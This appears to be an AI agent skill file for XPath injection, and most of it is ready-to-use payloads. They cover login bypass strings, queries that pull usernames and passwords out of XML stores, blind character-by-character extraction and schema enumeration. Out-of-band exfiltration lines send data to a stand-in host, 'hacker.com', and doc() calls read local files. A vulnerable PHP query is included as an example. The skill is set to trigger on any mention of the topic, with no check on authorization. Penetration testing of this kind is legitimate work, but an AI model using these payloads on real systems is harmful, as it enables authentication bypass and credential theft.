| name | xpath-injection |
| description | How to test for and exploit XPath injection vulnerabilities in web applications. Use this skill whenever the user mentions XPath injection, XML query vulnerabilities, authentication bypass via XPath, blind XPath attacks, OOB XPath exploitation, or needs to enumerate XML schemas through XPath. Trigger this skill for any security testing involving XML-based authentication, login forms with XML backends, or when analyzing applications that construct XPath queries from user input. |
XPath Injection Testing
A skill for identifying and exploiting XPath injection vulnerabilities in web applications that construct XPath queries from user input.
When to Use This Skill
Use this skill when:
- Testing login/authentication forms that may use XML backends
- Analyzing applications that process XML data with user input
- Enumerating XML document structures through injection points
- Performing blind XPath exploitation
- Conducting OOB (Out-of-Band) XPath attacks
- Bypassing authentication via XPath injection
XPath Syntax Reference
Node Selection
| Expression | Description |
|---|
nodename | Selects all nodes with the specified name |
/ | Selection from the root node |
// | Selects nodes matching from current node, anywhere in document |
. | Selects the current node |
.. | Selects the parent of the current node |
@ | Selects attributes |
Common Path Expressions
/bookstore # Root element bookstore
bookstore/book # All book children of bookstore
//book # All book elements anywhere
bookstore//book # All book descendants of bookstore
//@lang # All lang attributes
Predicates for Filtering
/bookstore/book[1] # First book element
/bookstore/book[last()] # Last book element
/bookstore/book[last()-1] # Penultimate book element
/bookstore/book[position()<3] # First two book elements
//title[@lang='en'] # Title elements with lang="en"
/bookstore/book[price>35.00] # Books with price > 35.00
Wildcards
* # Matches any element node
@* # Matches any attribute node
node() # Matches any node of any kind
Authentication Bypass Techniques
Basic OR Bypass
Use these payloads in username and/or password fields:
' or '1'='1
" or "1"="1
' or ''='
" or ""="
Double OR Bypass (Single Vulnerable Field)
When only one field is vulnerable, use double OR:
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
Selective Account Selection
'or string-length(name(.))<10 or' # Account with name length < 10
'or contains(name,'adm') or' # First account with "adm" in name
'or position()=2 or' # Select 2nd account
Known Username Bypass
admin' or '
admin' or '1'='2
Null Byte Injection
Username: ' or 1]%00
String Extraction Payloads
Extract All Values
') or 1=1 or (' # Get all names
') or 1=1] | //user/password[('')=(' # Get all names and passwords
') or 2=1] | //user/node()[('')=(' # Get all values
')] | //./node()[('')=(' # Get all values
')] | //node()[('')=(' # Get all values
Extract Specific Fields
')] | //user/*[1] | a[(' # ID of all users
')] | //user/*[2] | a[(' # Name of all users
')] | //user/*[3] | a[(' # Password of all users
')] | //user/*[4] | a[(' # Account of all users
Null Byte Abuse
')] | //password%00 # All names and passwords
Blind XPath Exploitation
Length Testing
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
Character Extraction
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='
Codepoint Comparison
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
Error-Based Detection
... and ( if ( $employee/role = 2 ) then error() else 0 )...
Schema Discovery
Count-Based Enumeration
and count(/*) = 1 # Root element count
and count(/*[1]/*) = 2 # Count children of root
and count(/*[1]/*[1]/*) = 1 # Count grandchildren
Tag Name Discovery
and name(/*[1]) = "root" # Confirm root tag name
and substring(name(/*[1]/*[1]),1,1) = "a" # First char of tag name
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 # Codepoint check
OOB (Out-of-Band) Exploitation
Data Exfiltration via doc()
# Basic OOB
doc(concat("http://hacker.com/oob/", RESULTS))
# Extract specific data
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
# URL-encoded data
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
# Using doc-available() (returns true/false)
doc-available(concat("http://hacker.com/oob/", RESULTS))
# Invert result
user not(doc-available(...))
Schema Exfiltration OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
File Reading
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Automated Tools
Testing Workflow
- Identify injection points - Look for login forms, search fields, or any input that might be used in XPath queries
- Test for vulnerability - Use basic OR bypass payloads like
' or '1'='1
- Determine output type - Is it reflected in response, error messages, or behavior change?
- Choose exploitation method:
- Reflected output: Use string extraction payloads
- Blind: Use length/character comparison or error-based
- OOB capable: Use doc() or doc-available() functions
- Enumerate schema - Use count() and name() functions to map XML structure
- Extract data - Use appropriate payloads based on output type
Example XML Structure
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
</data>
Common Query Patterns
Authentication Query (Vulnerable)
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
PHP Example (Vulnerable)
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
References